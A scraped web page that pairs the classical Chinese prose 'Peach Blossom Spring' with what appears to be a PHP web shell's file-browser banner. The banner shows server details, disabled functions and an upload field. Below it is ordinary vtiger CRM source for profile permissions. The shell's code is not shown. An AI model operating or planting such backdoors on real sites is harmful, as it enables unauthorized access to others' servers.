晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/vtlib/Vtiger/ |
Upload File : |
<?php
/*+**********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
************************************************************************************/
include_once('vtlib/Vtiger/Utils.php');
/**
* Provides API to work with vtiger CRM Profile
* @package vtlib
*/
class Vtiger_Profile {
var $id;
var $name;
var $desc;
public function save() {
if (!$this->id) {
$this->create();
} else {
$this->update();
}
}
private function create() {
global $adb;
$this->id = $adb->getUniqueID('vtiger_profile');
$sql = "INSERT INTO vtiger_profile (profileid, profilename, description)
VALUES (?,?,?)";
$binds = array($this->id, $this->name, $this->desc);
$adb->pquery($sql, $binds);
$sql = "INSERT INTO vtiger_profile2field (profileid, tabid, fieldid, visible, readonly)
SELECT ?, tabid, fieldid, 0, 0
FROM vtiger_field";
$binds = array($this->id);
$adb->pquery($sql, $binds);
$sql = "INSERT INTO vtiger_profile2tab (profileid, tabid, permissions)
SELECT ?, tabid, 0
FROM vtiger_tab";
$binds = array($this->id);
$adb->pquery($sql, $binds);
$sql = "INSERT INTO vtiger_profile2standardpermissions (profileid, tabid, Operation, permissions)
SELECT ?, tabid, actionid, 0
FROM vtiger_actionmapping, vtiger_tab
WHERE actionname IN ('Save', 'CreateView', 'EditView', 'Delete', 'index', 'DetailView') AND isentitytype = 1";
$binds = array($this->id);
$adb->pquery($sql, $binds);
self::log("Initializing profile permissions ... DONE");
}
private function update() {
throw new Exception("Not implemented");
}
/**
* Helper function to log messages
* @param String Message to log
* @param Boolean true appends linebreak, false to avoid it
* @access private
*/
static function log($message, $delimit=true) {
Vtiger_Utils::Log($message, $delimit);
}
/**
* Initialize profile setup for Field
* @param Vtiger_Field Instance of the field
* @access private
*/
static function initForField($fieldInstance) {
global $adb;
// Allow field access to all
$adb->pquery("INSERT INTO vtiger_def_org_field (tabid, fieldid, visible, readonly) VALUES(?,?,?,?)",
Array($fieldInstance->getModuleId(), $fieldInstance->id, '0', '0'));
$profileids = self::getAllIds();
foreach($profileids as $profileid) {
$adb->pquery("INSERT INTO vtiger_profile2field (profileid, tabid, fieldid, visible, readonly) VALUES(?,?,?,?,?)",
Array($profileid, $fieldInstance->getModuleId(), $fieldInstance->id, '0', '0'));
}
}
/**
* Delete profile information related with field.
* @param Vtiger_Field Instance of the field
* @access private
*/
static function deleteForField($fieldInstance) {
global $adb;
$adb->pquery("DELETE FROM vtiger_def_org_field WHERE fieldid=?", Array($fieldInstance->id));
$adb->pquery("DELETE FROM vtiger_profile2field WHERE fieldid=?", Array($fieldInstance->id));
}
/**
* Get all the existing profile ids
* @access private
*/
static function getAllIds() {
global $adb;
$profileids = Array();
$result = $adb->pquery('SELECT profileid FROM vtiger_profile', array());
for($index = 0; $index < $adb->num_rows($result); ++$index) {
$profileids[] = $adb->query_result($result, $index, 'profileid');
}
return $profileids;
}
/**
* Initialize profile setup for the module
* @param Vtiger_Module Instance of module
* @access private
*/
static function initForModule($moduleInstance) {
global $adb;
$actionids = Array();
$result = $adb->pquery("SELECT actionid from vtiger_actionmapping WHERE actionname IN (?,?,?,?,?,?)", array('Save','EditView','CreateView','Delete','index','DetailView'));
/*
* NOTE: Other actionname (actionid >= 5) is considered as utility (tools) for a profile.
* Gather all the actionid for associating to profile.
*/
for($index = 0; $index < $adb->num_rows($result); ++$index) {
$actionids[] = $adb->query_result($result, $index, 'actionid');
}
$profileids = self::getAllIds();
foreach($profileids as $profileid) {
$adb->pquery("INSERT INTO vtiger_profile2tab (profileid, tabid, permissions) VALUES (?,?,?)",
Array($profileid, $moduleInstance->id, 0));
if($moduleInstance->isentitytype) {
foreach($actionids as $actionid) {
$adb->pquery(
"INSERT INTO vtiger_profile2standardpermissions (profileid, tabid, Operation, permissions) VALUES(?,?,?,?)",
Array($profileid, $moduleInstance->id, $actionid, 0));
}
}
}
self::log("Initializing module permissions ... DONE");
}
/**
* Delete profile setup of the module
* @param Vtiger_Module Instance of module
* @access private
*/
static function deleteForModule($moduleInstance) {
global $adb;
$adb->pquery("DELETE FROM vtiger_profile2tab WHERE tabid=?", Array($moduleInstance->id));
$adb->pquery("DELETE FROM vtiger_profile2standardpermissions WHERE tabid=?", Array($moduleInstance->id));
}
}
?>